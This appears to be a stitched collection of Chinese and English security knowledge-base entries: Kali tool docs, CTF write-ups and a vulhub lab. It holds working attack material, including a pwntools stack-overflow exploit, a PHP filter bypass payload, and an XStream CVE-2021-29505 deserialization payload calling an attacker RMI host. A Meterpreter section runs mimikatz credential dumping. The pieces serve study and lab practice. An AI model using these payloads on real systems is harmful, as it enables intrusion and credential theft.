从foo0200到foo0278的所有文件都被重命名为foo200到foo278,文件名中的foo0被替换为foo。 rename foo0 foo foo0[2]* ```
sec-knowleage
# cisco-auditing-tool描述 思科路由扫描工具,检测常见漏洞,使用Perl语言编写 [cisco-auditing-tool主页](http://www.scrypt.net/) | [Kali cisco-auditing-tool仓库](http://git.kali.org/gitweb/?p=packages/cisco-auditing-tool.git;a=summary) Author: g0ne License: GPLv2 包含在这个包里的工具 CAT – 扫描思科路由器中的常用漏洞 >root@kali:~# CAT > >Cisco Auditing Tool - g0ne [null0] >Usage: > >-h hostname (for scanning single hosts) > >-f hostfile (for scanning multiple hosts) > >-p port # (default port is 23) > >-w wordlist (wordlist for community name guessing) > >-a passlist (wordlist for password guessing) > >-i [ioshist] (Check for IOS History bug) > >-l logfile (file to log to, default screen) > >-q quiet mode (no screen output) # cisco-auditing-tool使用范例  在端口(-p 23)使用密码字典文件(-a /usr/share/wordlists/nmap.lst)扫描主机(-h 192.168.99.230): >root@kali:~# CAT -h 192.168.99.230 -p 23 -a /usr/share/wordlists/nmap.lst > >Cisco Auditing Tool - g0ne [null0] > >Checking Host: 192.168.99.230 > >Guessing passwords: > >Invalid Password: 123456 > >Invalid Password: 12345
sec-knowleage
# Writeup Sharif CTF 7 2016 Team: nazywam, c7f.m0d3, akrasuski1, msm, psrok1, seikendev, shalom ### Table of contents * [Strange PDF (forensics 150)](for_150_strange_pdf) * [Poor guy (web 150)](web_150_poor_guy) * [Irish Home (web 200)](web_200_irish_home) * [Jare Captcha (web 200)](web_200_jareCaptcha) * [Lost Voice (misc 100)](misc_100_voice) * [CBPM (web 300)](web_300_cbpm) * [LSB Oracle (Crypto 150)](crypto_150_lsb) * [Lobotomized LSB Oracle (Crypto 400)](crypto_400_lob_lsb)
sec-knowleage
true === 返回状态为成功。 ## 概要 ```shell true ``` ## 主要用途 - 用于和其他命令进行逻辑运算。 ## 返回值 返回状态总是成功;返回值为0。 ## 例子 ```shell # 当你的脚本设置set -e时,任何返回值为失败的命令都会使得脚本退出。 set -e # 如何临时跳过呢?下面的语句使用逻辑或操作符连接true,返回值一定为真。 some_command || true # 当然,和python的pass一样,也可以用作条件语句临时占位。 ``` ### 注意 1. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。
sec-knowleage
# H1 Thermostat - FLAG1 ## 0x00 Params There are different messages sending through. We can decode them with [base64][1]. | encoded | readable | | ------------------------------------------------ | ------------------------------------ | | eyJjbWQiOiJnZXRUZW1wIn0 | {"cmd":"getTemp"} | | eyJ0ZW1wZXJhdHVyZSI6IDc3LCAic3VjY2VzcyI6IHRydWV9 | {"temperature": 77, "success": true} | | eyJjbWQiOiJzZXRUZW1wIiwidGVtcCI6Nzd9 | {"cmd":"setTemp","temp":77} | | eyJjbWQiOiJzZXRUZW1wIiwidGVtcCI6NzB9 | {"cmd":"setTemp","temp":70} | | eyJzdWNjZXNzIjogdHJ1ZX0= | {"success": true} | As the app shows current temperature is 73 and target 70. ![](./imgs/app.jpg) Tried to manually change the temperature by encode ```javascript //eyJjbWQiOiJzZXRUZW1wIiwidGVtcCI6NzN9 base64({"cmd":"setTemp","temp":73}) ``` But got an error as following ```json //eyJzdWNjZXNzIjogZmFsc2UsICJlcnJvciI6ICJNQUMgZmFpbHVyZSJ9 {"success": false, "error": "MAC failure"} ``` ## 0x01 Check Source Something wrong with that MAC. Need go back to check the source for some help. ![](./imgs/src.jpg) ``` classes.dex -> com -> hacker101 -> level11 -> PlayloadRequest ``` Both flags can be found here. ![](./imgs/flag.jpg) [1]: https://www.base64decode.org/
sec-knowleage
# Episode 2: Challenge 1 ## Description > This image might look familiar. But where have you seen it before? > > Hint: Sometimes the answers are hidden in plain site A PNG image was attached. ## Solution Let's check the image for hidden information with `zsteg`: ```console ┌──(user@kali)-[/media/…/h4ck1ng.google/EP002/Challenge_01/a] └─$ zsteg challenge.png -l 0 imagedata .. file: Apple DiskCopy 4.2 image , 16777472 bytes, 0x1 tag size, GCR CLV dsdd (800k), 0x0 format b1,r,msb,xy .. file: GeoSwath RDF b1,a,lsb,xy .. text: "tdbrbtrbrq" b1,a,msb,xy .. text: "'E.&FNF.NFN" b1,rgb,lsb,xy .. text: "QDEeU[q%" b1,bgr,lsb,xy .. text: "4 YE0YDt" b1,rgba,lsb,xy .. text: "-----BEGIN CERTIFICATE-----\nMIIDZzCCAk8CFBoKXnXdnNubl8olJdv40AxJ9wksMA0GCSqGSIb3DQEBBQUAMHAx\nCzAJBgNVBAYTAkNIMQ8wDQYDVQQIDAZadXJpY2gxOzA5BgNVBAoMMmh0dHBzOi8v\naDRjazFuZy5nb29nbGUvc29sdmUvNTNjdXIxVHlfQnlfMGI1Q3VyMXRZMRMwEQYD\nVQQDDApnb29nbGUuY29tMB4XDTIyMDkzMDE4NTEwNVoXDTMyMDkyNzE4NTEwNVow\ncDELMAkGA1UEBhMCQ0gxDzANBgNVBAgMBlp1cmljaDE7MDkGA1UECgwyaHR0cHM6\nLy9oNGNrMW5nLmdvb2dsZS9zb2x2ZS81M2N1cjFUeV9CeV8wYjVDdXIxdFkxEzAR\nBgNVBAMMCmdvb2dsZS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB\nAQDCX25BoQBBndrOiS6L11/RwWf6FNS+fUct7CLq9yMxU+xJ+yPVFZa7+trkvwe0\nIXWduNIb/USvtOb8I8X8H/MHVMCypBQisFMxHnZmv2D/QVRySIJpMdah8va+LL5o\n7Dv0LD73ynGUw8rW8VQUrlGF5cJRSgd3ZVbDUjR33GD4TjdIChzs/WMZGSP7c/lk\nsSLMd2eCYbdwo5pz7KaYa7ta0b3gf055q4E/uJ00TUN26GkYOi/c7PZrgQu+hXR6\nonn2HhkBNrloUlZaI5kJ2v3QRHt2UxnAhS7YVpQ6ZS4h8LQf6mvnZ/Zx71SyZmkk\nAuvhSjU8bCeIypSC82RbEi6fAgMBAAEwDQYJKoZIhvcNAQEFBQADggEBABj1PIHB\ncKJgxEXo6AT+8OMYWFd2mtthM2HsioevNvmpsAQjjlPRfY3E9DF7H49XagnON3YM\ndDvN4IwmHSRKIemdEyc/D2+Dr/Ky5FSU6NymUiUGUGV+aDGXIFV/NOaq0b9ASbBh\n78TLN2+/Val933tHWQpPqmpw30v4XknYPF5R+ghqr9r9A0dVPstDmq1HBOuazWJe\nDBUBHenbSW6EPnFYZc8zuCSLZtIJvlAryJrmcFWTridUmtXjM5Lyh05LFAFVH6wl\nz0sVEvisfE9aw4zfotBsV6zvgOL1ypYsX20KJ6zIJycRBkWgmOzQxKCZ5fxfKCFT\n8mr99Mujp9EBzPA=\n-----END CERTIFICATE-----\n" b1,rgba,msb,xy .. text: ["D" repeated 16 times] b1,abgr,lsb,xy .. text: "KKKKK$*.)'@,*" b1,abgr,msb,xy .. text: ["\"" repeated 16 times] b2,r,lsb,xy .. text: ["U" repeated 8 times] b2,r,msb,xy .. text: "@UUUUUUUUUUUUUUUUUU" b2,g,lsb,xy .. text: "ETPEEEDEQ" b2,g,msb,xy .. text: " \"\n**\"(*" b2,b,lsb,xy .. text: "TQAPDQQU" b2,a,lsb,xy .. text: "UTQDAAQU" b2,a,msb,xy .. text: "@UUUUUUUUUUUUUUUUUUU" b2,rgb,lsb,xy .. text: "UUUzzUUUU" b2,bgr,lsb,xy .. text: "UUUX-}UUW" b2,bgr,msb,xy .. file: Applesoft BASIC program data, first line number 32 b2,rgba,lsb,xy .. text: "SWWSSSSSSSSSSSWWSS" b2,rgba,msb,xy .. text: "0 ``` It has a certificate embedded within it. We can extract it and get: ``` -----BEGIN CERTIFICATE----- MIIDZzCCAk8CFBoKXnXdnNubl8olJdv40AxJ9wksMA0GCSqGSIb3DQEBBQUAMHAx CzAJBgNVBAYTAkNIMQ8wDQYDVQQIDAZadXJpY2gxOzA5BgNVBAoMMmh0dHBzOi8v aDRjazFuZy5nb29nbGUvc29sdmUvNTNjdXIxVHlfQnlfMGI1Q3VyMXRZMRMwEQYD VQQDDApnb29nbGUuY29tMB4XDTIyMDkzMDE4NTEwNVoXDTMyMDkyNzE4NTEwNVow cDELMAkGA1UEBhMCQ0gxDzANBgNVBAgMBlp1cmljaDE7MDkGA1UECgwyaHR0cHM6 Ly9oNGNrMW5nLmdvb2dsZS9zb2x2ZS81M2N1cjFUeV9CeV8wYjVDdXIxdFkxEzAR BgNVBAMMCmdvb2dsZS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB AQDCX25BoQBBndrOiS6L11/RwWf6FNS+fUct7CLq9yMxU+xJ+yPVFZa7+trkvwe0 IXWduNIb/USvtOb8I8X8H/MHVMCypBQisFMxHnZmv2D/QVRySIJpMdah8va+LL5o 7Dv0LD73ynGUw8rW8VQUrlGF5cJRSgd3ZVbDUjR33GD4TjdIChzs/WMZGSP7c/lk sSLMd2eCYbdwo5pz7KaYa7ta0b3gf055q4E/uJ00TUN26GkYOi/c7PZrgQu+hXR6 onn2HhkBNrloUlZaI5kJ2v3QRHt2UxnAhS7YVpQ6ZS4h8LQf6mvnZ/Zx71SyZmkk AuvhSjU8bCeIypSC82RbEi6fAgMBAAEwDQYJKoZIhvcNAQEFBQADggEBABj1PIHB cKJgxEXo6AT+8OMYWFd2mtthM2HsioevNvmpsAQjjlPRfY3E9DF7H49XagnON3YM dDvN4IwmHSRKIemdEyc/D2+Dr/Ky5FSU6NymUiUGUGV+aDGXIFV/NOaq0b9ASbBh 78TLN2+/Val933tHWQpPqmpw30v4XknYPF5R+ghqr9r9A0dVPstDmq1HBOuazWJe DBUBHenbSW6EPnFYZc8zuCSLZtIJvlAryJrmcFWTridUmtXjM5Lyh05LFAFVH6wl z0sVEvisfE9aw4zfotBsV6zvgOL1ypYsX20KJ6zIJycRBkWgmOzQxKCZ5fxfKCFT 8mr99Mujp9EBzPA= -----END CERTIFICATE----- ``` Now, we can use `openssl` to inspect the certificate: ```console ┌──(user@kali)-[/media/…/h4ck1ng.google/EP002/Challenge_01/a] └─$ openssl x509 -in x.pem -text -noout Certificate: Data: Version: 1 (0x0) Serial Number: 1a:0a:5e:75:dd:9c:db:9b:97:ca:25:25:db:f8:d0:0c:49:f7:09:2c Signature Algorithm: sha1WithRSAEncryption Issuer: C = CH, ST = Zurich, O = https://h4ck1ng.google/solve/53cur1Ty_By_0b5Cur1tY, CN = google.com Validity Not Before: Sep 30 18:51:05 2022 GMT Not After : Sep 27 18:51:05 2032 GMT Subject: C = CH, ST = Zurich, O = https://h4ck1ng.google/solve/53cur1Ty_By_0b5Cur1tY, CN = google.com Subject Public Key Info: Public Key Algorithm: rsaEncryption RSA Public-Key: (2048 bit) Modulus: 00:c2:5f:6e:41:a1:00:41:9d:da:ce:89:2e:8b:d7: 5f:d1:c1:67:fa:14:d4:be:7d:47:2d:ec:22:ea:f7: 23:31:53:ec:49:fb:23:d5:15:96:bb:fa:da:e4:bf: 07:b4:21:75:9d:b8:d2:1b:fd:44:af:b4:e6:fc:23: c5:fc:1f:f3:07:54:c0:b2:a4:14:22:b0:53:31:1e: 76:66:bf:60:ff:41:54:72:48:82:69:31:d6:a1:f2: f6:be:2c:be:68:ec:3b:f4:2c:3e:f7:ca:71:94:c3: ca:d6:f1:54:14:ae:51:85:e5:c2:51:4a:07:77:65: 56:c3:52:34:77:dc:60:f8:4e:37:48:0a:1c:ec:fd: 63:19:19:23:fb:73:f9:64:b1:22:cc:77:67:82:61: b7:70:a3:9a:73:ec:a6:98:6b:bb:5a:d1:bd:e0:7f: 4e:79:ab:81:3f:b8:9d:34:4d:43:76:e8:69:18:3a: 2f:dc:ec:f6:6b:81:0b:be:85:74:7a:a2:79:f6:1e: 19:01:36:b9:68:52:56:5a:23:99:09:da:fd:d0:44: 7b:76:53:19:c0:85:2e:d8:56:94:3a:65:2e:21:f0: b4:1f:ea:6b:e7:67:f6:71:ef:54:b2:66:69:24:02: eb:e1:4a:35:3c:6c:27:88:ca:94:82:f3:64:5b:12: 2e:9f Exponent: 65537 (0x10001) Signature Algorithm: sha1WithRSAEncryption 18:f5:3c:81:c1:70:a2:60:c4:45:e8:e8:04:fe:f0:e3:18:58: 57:76:9a:db:61:33:61:ec:8a:87:af:36:f9:a9:b0:04:23:8e: 53:d1:7d:8d:c4:f4:31:7b:1f:8f:57:6a:09:ce:37:76:0c:74: 3b:cd:e0:8c:26:1d:24:4a:21:e9:9d:13:27:3f:0f:6f:83:af: f2:b2:e4:54:94:e8:dc:a6:52:25:06:50:65:7e:68:31:97:20: 55:7f:34:e6:aa:d1:bf:40:49:b0:61:ef:c4:cb:37:6f:bf:55: a9:7d:df:7b:47:59:0a:4f:aa:6a:70:df:4b:f8:5e:49:d8:3c: 5e:51:fa:08:6a:af:da:fd:03:47:55:3e:cb:43:9a:ad:47:04: eb:9a:cd:62:5e:0c:15:01:1d:e9:db:49:6e:84:3e:71:58:65: cf:33:b8:24:8b:66:d2:09:be:50:2b:c8:9a:e6:70:55:93:ae: 27:54:9a:d5:e3:33:92:f2:87:4e:4b:14:01:55:1f:ac:25:cf: 4b:15:12:f8:ac:7c:4f:5a:c3:8c:df:a2:d0:6c:57:ac:ef:80: e2:f5:ca:96:2c:5f:6d:0a:27:ac:c8:27:27:11:06:45:a0:98: ec:d0:c4:a0:99:e5:fc:5f:28:21:53:f2:6a:fd:f4:cb:a3:a7: d1:01:cc:f0 ``` The flag can be found in the `Issuer` and `Subject` fields.
sec-knowleage
version: '2' services: solr: command: solr-demo image: vulhub/solr:8.8.1 ports: - "8983:8983"
sec-knowleage
## 签到 一个 flash 小游戏 不过跑起来还是挺麻烦的,装了个 360浏览器开兼容模式,再装个 PPAPI 的 flash 才运行起来 打过关后就有 flag 了 A8E5A632E549ECD98E902055B02B10A2 --- ## ereg php代码审计: strpos数组绕过,两种解法: - 科学计数法 - []数组绕过 代码当时没存:找了个类似题目 ```php <?php $flag = "flag"; if (isset ($_GET['password'])) { if (@ereg ("^[1-9]+$", $_GET['password']) === FALSE) echo '必须输入数字才行'; else if (strpos ($_GET['password'], '#biubiubiu') !== FALSE) die('Flag: '.$flag); else echo '骚年,继续努力吧啊~'; } ?> ``` 当时的payload是这样的 http://101.101.101.110:8081/?password=9e9%00*-* flag{1b38a4ff14824e141f319c8d898e52d2} 提交 1b38a4ff14824e141f319c8d898e52d2 --- ## pbootcms 注册账号后登录框存在注入 有个表叫 xxx_flag 进入后找到flag 8fce341a322902400568339b9dcdeb8b --- ## easystego 在图片中间有 2 段 base64 分别解出来就是 flag 了 (我有印象在 BUU 刷到过) ZmxhZ3tlMDg0ODY1YjY0ZGI0Yg== flag{e084865b64db4b 2NTAyZDRkM2FkODdlMTE5NDFjfQ== 502d4d3ad87e11941c} flag{e084865b64db4b502d4d3ad87e11941c} 提交 e084865b64db4b502d4d3ad87e11941c --- ## hardstego binwalk 分离 得到 压缩包 通过注释知道密码是 RRR+8位数字 直接掩码爆破 RRR?d?d?d?d?d?d?d?d 得到 RRR97126401 结果还是个加密压缩包 明文攻击 又是一个加密压缩包 弱口令 69450992 还有个压缩包 伪加密 010 里面 加密位 9 改为 0 5313ee18175f9bfe75f8e52eca293471 flag{5313ee18175f9bfe75f8e52eca293471} --- ## easy_re ida 打开直接 string 就有了 A9DF04B4A7BB1DD8B6614EBC06D308B1 --- ## PWN 64位栈溢出 ret2txt攻击方式的利用 ```py from pwn import * context.log_level = "debug" context.arch = "amd64" #io = process("./seeya") io = remote("101.101.101.108",18000) io.recv() backdoor = 0x4005b6 payload = b"A"*136 + p32(backdoor) pause() io.send(payload) #pause() input() io.interactive() ``` cbc4a8eadd78b971b992d7bc79785a3c --- ## Registry 用这个命令导入到注册表 ``` REG load HKLM\TempHive "C:\Users\User\Desktop\Registry/$R4YMJQ0.hive" ``` 疯狂查找关键字 ``` flag f-l-a-g f_l_a_g f.l.a.g exec run ``` 在这个项里找到 疑似 flag 的内容 HKEY_LOCAL_MACHINE\TempHive\Microsoft\Windows\CurrentVersion\Run C:\Program Files (x86)\Windows NT\TableTextService\c05e3b3d4e90c9ffb6b93764d6964874.exe c05e3b3d4e90c9ffb6b93764d6964874 --- ## easyRSA ```py from Crypto.Util.number import * from Crypto.Random.random import * from flag import flag p = getPrime(128) q = getPrime(128) n = p*q e = 65537 flag1 = bytes_to_long(flag[:19]) flag2 = bytes_to_long(flag[19:]) print 'n:'+str(n) print pow(flag1,e,n) print pow(flag2,e,n) # output # n:82748279383502845283943271120712436408030814624973629060064917325126552245423 # 15927805675061473064882443446714896619253999932379995876769453683208368763004 # 82625508300370326497174411508412477823364297852320058440615952290270370565101 ``` 用 yafu 跑 p、q 给出了 e、n、c 直接上脚本解2遍拼接就行 flag{63a8817f4512d4f0efd58e7729044546}
sec-knowleage
# XStream Deserialization Remote Command Execution (CVE-2021-29505) [中文版本(Chinese version)](README.zh-cn.md) XStream is a simple library to serialize objects to XML and back again. XStream uses a blocklist mechanism when parsing XML text which is utilized to defend against deserialization vulnerabilities, but in 1.4.16 and earlier, blocklists are incomplete and attackers could use `sun.rmi.registry.RegistryImpl_Stub` to make an RMI request and execute arbitrary commands finally. Reference links. - [https://x-stream.github.io/CVE-2021-29505.html][1] - https://paper.seebug.org/1543/ ## Vulnerable Environment Start a Springboot + XStream 1.4.16 server. ``` docker compose up -d ``` Once the environment is started, you can send the following request to `http://your-ip:8080` to test if the server has started successfully ![](1.png) ## POC First of all, you have to start a malicious RMI Registry on evil server using the JRMPListener of [ysoserial](https://github.com/frohoff/ysoserial). ``` java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "touch /tmp/success" ``` This RMI Registry, upon receiving the request, returns a malicious serialized object constructed with `CommonsCollections6` gadget. Then, send the XML POC of CVE-2021-29505, replace **evil-ip** with address of evil RMI Registry. ``` POST / HTTP/1.1 Host: your-ip Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Connection: close Content-Type: application/xml Content-Length: 3169 <java.util.PriorityQueue serialization='custom'> <unserializable-parents/> <java.util.PriorityQueue> <default> <size>2</size> </default> <int>3</int> <javax.naming.ldap.Rdn_-RdnEntry> <type>12345</type> <value class='com.sun.org.apache.xpath.internal.objects.XString'> <m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj> </value> </javax.naming.ldap.Rdn_-RdnEntry> <javax.naming.ldap.Rdn_-RdnEntry> <type>12345</type> <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'> <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'> <parsedMessage>true</parsedMessage> <soapVersion>SOAP_11</soapVersion> <bodyParts/> <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'> <attachmentsInitialized>false</attachmentsInitialized> <nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'> <aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'> <candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'> <names> <string>aa</string> <string>aa</string> </names> <ctx> <environment/> <registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'> <java.rmi.server.RemoteObject> <string>UnicastRef</string> <string>evil-ip</string> <int>1099</int> <long>0</long> <int>0</int> <long>0</long> <short>0</short> <boolean>false</boolean> </java.rmi.server.RemoteObject> </registry> <host>evil-ip</host> <port>1099</port> </ctx> </candidates> </aliases> </nullIter> </sm> </message> </value> </javax.naming.ldap.Rdn_-RdnEntry> </java.util.PriorityQueue> </java.util.PriorityQueue> ``` The malicious RMI registry receives the RMI request successfully. ![](2.png) Enter into the XStream container, ``touch /tmp/success`` has been successfully executed: ![](3.png) Significantly, POC from [official website][1] is wrong, you must not use it. [1]: https://x-stream.github.io/CVE-2021-29505.html
sec-knowleage
**Railgun是Meterpreter stdapi的扩展,允许任意加载DLL。Railgun的最大好处是能够动态访问系统上的整个Windows API。通过从用户进程调用Windows API。** ![](media/3887a1136b060d02cc820deceb0610c5.jpg) meterpreter下执行irb进入ruby交互。 基本的信息搜集: ```bash >> client.sys.config.sysinfo['OS'] => "Windows .NET Server (Build 3790, Service Pack 2)." >> client.sys.config.getuid => "WIN03X64\\Administrator" >> interfaces = client.net.config.interfaces =>[#<Rex::Post::Meterpreter::Extensions::Stdapi::Net::Interface:0x000055aee92c5770 @index=65539, @mac_addr="\x00\f)\x85\xD6}", @mac_name="Inte l(R) PRO/1000 MT Network Connection", @mtu=1500, @flags=nil, @addrs=["19 2.168.1.119"], @netmasks=["255.255.255.0"], @scopes=[]>, #<Rex::Post::Meterpreter::Extensions::Stdapi::Net::Interface:0x000055aee92c5220 @index=1,@mac_addr="", @mac_name="MS TCP Loopback interface", @mtu=1520, @flags=ni l,@addrs=["127.0.0.1"], @netmasks=[], @scopes=[]>] >> interfaces.each do |i| ?> puts i.pretty >> end Interface 65539 ============ Name : Intel(R) PRO/1000 MT Network Connection Hardware MAC : 00:0c:29:85:d6:7d MTU : 1500 IPv4 Address : 192.168.1.119 IPv4 Netmask : 255.255.255.0 Interface 1 ============ Name : MS TCP Loopback interface Hardware MAC : 00:00:00:00:00:00 MTU : 1520 IPv4 Address : 127.0.0.1 =>[#<Rex::Post::Meterpreter::Extensions::Stdapi::Net::Interface:0x000055aee92c5770 @index=65539, @mac_addr="\x00\f)\x85\xD6}", @mac_name="Inte l(R) PRO/1000 MT Network Connection", @mtu=1500, @flags=nil, @addrs=["19 2.168.1.119"], @netmasks=["255.255.255.0"], @scopes=[]>, #<Rex::Post::Meterpreter::Extensions::Stdapi::Net::Interface:0x000055aee92c5220 @index=1, @mac_addr="", @mac_name="MS TCP Loopback interface", @mtu=1520, @flags=ni l, @addrs=["127.0.0.1"], @netmasks=[], @scopes=[]>] >> ``` ![](media/c699d8499e9ccc7e52378c7a4aab8b16.jpg) 锁定注销目标机: ```bash >> client.railgun.user32.LockWorkStation() => {"GetLastError"=>0, "ErrorMessage"=>"\xB2\xD9\xD7\xF7\xB3\xC9\xB9\xA6\xCD\xEA\xB3\xC9\xA1\xA3", "return"=>true} >> ``` ![](media/16c29aa470deb87ea1321eecf1cf97b3.jpg) 调用MessageBox: ```bash >> client.railgun.user32.MessageBoxA(0, "Micropoor", "Micropoor", "MB_OK") ``` ![](media/f2fa18b3dd40787d8cff662aa133adb6.jpg) 快速获取当前绝对路径: ```bash >> client.fs.dir.pwd => "C:\\Documents and Settings\\Administrator\\\xE6\xA1\x8C\xE9\x9D\xA 2" ``` 目录相关操作: ```bash >> client.fs.dir.chdir("c:\\") => 0 >> client.fs.dir.entries => ["ADFS", "AUTOEXEC.BAT", "boot.ini", "bootfont.bin", "CONFIG.SYS", "Documents and Settings", "Inetpub", "IO.SYS", "MSDOS.SYS", "NTDETECT.CO M", "ntldr", "pagefile.sys", "Program Files", "Program Files (x86)", "RECYCLER", "System Volume Information", "WINDOWS", "wmpub"] ``` 建立文件夹: ```bash >> client.fs.dir.mkdir("Micropoor") => 0 ``` ![](media/bf1667163d90cf5139ce06d51c5e0d76.jpg) hash操作: ```bash >> client.core.use "mimikatz" => true >> client.mimikatz => #<Rex::Post::Meterpreter::Extensions::Mimikatz::Mimikatz:0x000055aee91ceb28 @client=#<Session:meterpreter 192.168.1.119:53 (192.168.1.119) "WIN03X64\Administrator @ WIN03X64">, @name="mimikatz"> >> client.mimikatz.kerberos =>[{:authid=>"0;996", :package=>"Negotiate", :user=>"NETWORKSERVICE", :domain=>"NT AUTHORITY", :password=>"mod_process::getVeryBasicModulesListForProcess : (0x0000012b) \xC5\x8C\x10\xE8\x06\x84 ReadProcessMemory \x16 WriteProcessMemory \xF7B\x02 \nn.a. (kerberos KO)"},{:authid=>"0;44482", :package=>"NTLM", :user=>"", :domain=>"",:password=>"mod_process::getVeryBasicModulesListForProcess : (0x0000012b) \xC5\x8C\x10\xE8\x06\x84 ReadProcessMemory \x16 WriteProcessMemory \xF7B \x02 \nn.a. (kerberos KO)"}, {:authid=>"0;115231",:package=\>"NTLM", :user=>"Administrator", :domain=>"WIN03X64",:password=>"mod_process::getVery BasicModulesListForProcess : (0x0000012b) \xC5\x8C\x10\xE8\x06\x84 ReadPocessMemory \x16 WriteProcessMemory \xF7B\x02 \nn.a. (kerberos KO)"}, {:a uthid=>"0;997",:package=>"Negotiate", :user=>"LOCAL SERVICE", :domain=>"NT AUTHORITY",:password=>"mod_process::getVeryBasicModulesList ForProcess : (0x0000012b) \xC5\x8C\x10\xE8\x06\x84 ReadProcessMemory \x16 WriteProcessMemory \xF7B\x02 \nn.a. (kerberos KO)"}, {:authid=>"0;999", package=>"NTLM", :user=>"WIN03X64$", :domain=>"WORKGROUP", :password=>"mod_process::getVeryBasicModulesListForProcess : (0x0000012b) \xC5\x8C\x10\xE8\x06\x84 ReadProcessMemory \x16 WriteProcessMemory \xF7B\x02 \nn.a. (kerberos KO)"}] ``` ![](media/a03610b1b7f3c56a8905319c9f8ce20f.jpg) 内网主机发现,如路由,arp等: ```bash >> client.net.config.arp_table => [#<Rex::Post::Meterpreter::Extensions::Stdapi::Net::Arp:0x000055aee7f5f6b8 @ip_addr="192.168.1.1", @mac_addr="78:44:fd:8e:91:59", @interface="65539">, #<Rex::Post::Meterpreter::Extensions::Stdapi::Net::Arp:0x000055aee7f5ee20 @ip_addr="192.168.1.3", @mac_addr="28:16:ad:3b:51:78", @inteface="65539">] >> client.net.config.arp_table[0].ip_addr >> => "192.168.1.1" >> client.net.config.arp_table[0].mac_addr => "78:44:fd:8e:91:59" >> client.net.config.arp_table[0].interface => "65539" >> client.net.config.routes => [#<Rex::Post::Meterpreter::Extensions::Stdapi::Net::Route:0x000055aee789be58 @subnet="0.0.0.0", @netmask="0.0.0.0", @gateway="192.168.1.1", @interface="65539", @metric=10>,#<Rex::Post::Meterpreter::Extensions::St dapi::Net::Route:0x000055aee789a7b0 @subnet="127.0.0.0", @netmask="255.0.0.0", @gateway="127.0.0.1", @interface="1", @metric=1>, #<Rex::Post::Meterpreter::Extensions::Stdapi::Net::Route:0x000055aee78993b0 \@subnet="192.168.1.0", @netmask="255.255.255.0", @gateway="192.168.1.119", @interface="65539", @metric=10>, #<Rex::Post::Meterpreter::Extensions::Stdapi::Net::Route:0x000055aee786fec0 @subnet="192.168.1.119", @netmask="255.255.255.255", @gateway="127.0.0.1", @interface="1", @metric=10>,#<Rex::Post::Meterpreter::Extensions::Stdapi::Net::Route:0x000055aee786e9d0 @subnet="192.168.1.255", @netmask="255.255.255.255", @gateway="192.168.1.119", @inte rface="65539", @metric=10>, #<Rex::Post::Meterpreter::Extensions::Stdapi::Net::Route:0x000055aee786d698 @subnet="224.0.0.0", @netmask="240.0.0.0", @gateway="192.168.1.119", @interface="65539", @metric=10>,#<Rex::Post::Meterpreter::Extensions::Stdapi::Net::Route:0x000055aee785be98 @subnet="255.255.255.255", @netmask="255.255.255.255", @gateway="192.168.1.119", @interface="65539", @metric=1>] ``` ![](media/117133f26378e67253fb7e0e6fbb8dc3.jpg) **实战中的敏感文件操作,也是目前最稳定,速度最快的方式:** ```bash >> client.fs.file.search("C:\\", "*.txt") ``` 更多的敏感文件操作,后续补充。 ![](media/f9b76bce304c8f9f4f75d6db4deaccd4.jpg) 更多相关的api操作在未来的课时中介绍。 > Micropoor
sec-knowleage
# vault-door-7 Reverse Engineering, 400 points ## Description: > This vault uses bit shifts to convert a password string into an array of integers. Hurry, agent, we are running out of time to stop Dr. Evil's nefarious plans! ```java import java.util.*; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; import java.security.*; class VaultDoor7 { public static void main(String args[]) { VaultDoor7 vaultDoor = new VaultDoor7(); Scanner scanner = new Scanner(System.in); System.out.print("Enter vault password: "); String userInput = scanner.next(); String input = userInput.substring("picoCTF{".length(),userInput.length()-1); if (vaultDoor.checkPassword(input)) { System.out.println("Access granted."); } else { System.out.println("Access denied!"); } } // Each character can be represented as a byte value using its // ASCII encoding. Each byte contains 8 bits, and an int contains // 32 bits, so we can "pack" 4 bytes into a single int. Here's an // example: if the hex string is "01ab", then those can be // represented as the bytes {0x30, 0x31, 0x61, 0x62}. When those // bytes are represented as binary, they are: // // 0x30: 00110000 // 0x31: 00110001 // 0x61: 01100001 // 0x62: 01100010 // // If we put those 4 binary numbers end to end, we end up with 32 // bits that can be interpreted as an int. // // 00110000001100010110000101100010 -> 808542562 // // Since 4 chars can be represented as 1 int, the 32 character password can // be represented as an array of 8 ints. // // - Minion #7816 public int[] passwordToIntArray(String hex) { int[] x = new int[8]; byte[] hexBytes = hex.getBytes(); for (int i=0; i<8; i++) { x[i] = hexBytes[i*4] << 24 | hexBytes[i*4+1] << 16 | hexBytes[i*4+2] << 8 | hexBytes[i*4+3]; } return x; } public boolean checkPassword(String password) { if (password.length() != 32) { return false; } int[] x = passwordToIntArray(password); return x[0] == 1096770097 && x[1] == 1952395366 && x[2] == 1600270708 && x[3] == 1601398833 && x[4] == 1716808014 && x[5] == 1734305381 && x[6] == 828716089 && x[7] == 895562083; } } ``` ## Solution: We'll reverse the logic with Python: ```python >>> from pwn import * >>> a = [1096770097,1952395366,1600270708,1601398833,1716808014,1734305381,828716089,895562083] >>> print "".join(p32(x, endian='big') for x in a) A_b1t_0f_b1t_sh1fTiNg_fe1e495a1c ```
sec-knowleage
